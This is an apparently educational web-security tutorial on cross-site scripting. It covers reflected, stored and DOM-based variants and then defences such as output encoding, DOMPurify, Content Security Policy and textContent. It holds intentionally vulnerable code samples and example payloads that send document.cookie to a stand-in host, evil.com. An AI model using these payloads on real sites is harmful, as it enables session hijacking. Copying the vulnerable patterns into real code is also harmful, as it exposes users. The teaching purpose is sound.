Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. When a victim's browser executes the injected script, attackers can steal session cookies, capture keystrokes, redirect users to malicious sites, or perform actions on behalf of the victim.
XSS is consistently in the OWASP Top 10 because it's everywhere—any place where user input is displayed without proper encoding is a potential XSS vulnerability.
Types of XSS
Reflected XSS
The malicious script comes from the current HTTP request. The attacker tricks the victim into clicking a crafted URL:
<!-- Vulnerable search page -->
<p>Search results for: <?= $_GET['query'] ?></p>
<!-- Attacker sends victim this link: -->
https://example.com/search?query=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
<!-- When victim clicks, their cookies are sent to attacker -->Stored XSS
The malicious script is permanently stored on the target server (in a database, comment field, etc.). Every user who views the infected page executes the script:
// Attacker posts a comment containing:
// <script>fetch('https://evil.com/steal?c='+document.cookie)</script>
// Vulnerable comment display:
app.get('/comments', async (req, res) => {
const comments = await db.query('SELECT * FROM comments');
// VULNERABLE: Rendering raw HTML from database
res.send(`
<div class="comments">
${comments.map(c => `<div>${c.text}</div>`).join('')}
</div>
`);
});DOM-Based XSS
The vulnerability exists in client-side JavaScript that processes user input unsafely:
// VULNERABLE: Using innerHTML with URL parameter
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
// This executes any script in the 'name' parameter
document.getElementById('greeting').innerHTML = `Hello, ${name}!`;
// Attack URL:
// https://example.com/page?name=<img src=x onerror=alert(document.cookie)>Prevention Techniques
Output Encoding
Always encode user input when rendering it in HTML. Different contexts require different encoding:
// React automatically escapes by default - SAFE
function Comment({ text }: { text: string }) {
return <div>{text}</div>; // XSS-safe
}
// DANGEROUS: Bypasses React's protection
function UnsafeComment({ text }: { text: string }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />;
}
// If you MUST render HTML, sanitize it first
import DOMPurify from 'dompurify';
function SafeHtmlComment({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}Content Security Policy (CSP)
CSP is a browser security feature that restricts what scripts can execute. Even if XSS exists, CSP can prevent exploitation:
// Next.js middleware for CSP
import { NextResponse } from 'next/server';
export function middleware(request: Request) {
const response = NextResponse.next();
// Strict CSP - only allow scripts from same origin
response.headers.set(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
);
return response;
}Use textContent Instead of innerHTML
// VULNERABLE
element.innerHTML = userInput;
// SAFE - treats input as text, not HTML
element.textContent = userInput;
// For URLs, validate the protocol
function safeSetHref(element, url) {
const parsed = new URL(url, window.location.origin);
if (parsed.protocol === 'http:' || parsed.protocol === 'https:') {
element.href = url;
}
// Blocks javascript: URLs
}Security Checklist
- Use a framework that auto-escapes output (React, Vue, Angular)
- Never use innerHTML or dangerouslySetInnerHTML with user input
- Implement Content Security Policy headers
- Set HttpOnly flag on sensitive cookies to prevent JavaScript access
- Sanitize HTML with DOMPurify if you must accept rich text
- Validate URLs before using them in href or src attributes
Practice Challenges
View allHello XSS
A simple greeting page. What could go wrong with a name field?
Search Reflect
Search results show what you searched for. Literally.
Comment Section
A blog with comments. What's the worst that could happen?
URL Parameter
The page reads from the URL. But does it sanitize?
innerHTML Trap
AI loves innerHTML. Attackers love it too.
Related Articles
View allInsecure Output Handling: When Your LLM Becomes an XSS Vector
We've spent years hardening web applications against XSS. We encode user input, implement Content Security Policies, and sanitize HTML. Then we add an LLM to our stack and pipe its output directly to u...
XSS in React 2025: Modern Attacks and Defenses
React's automatic escaping makes XSS harder—but not impossible. Signal had to patch a React-based XSS vulnerability related to improper HTML handling. A 2024 security analysis revealed that XSS vulnera...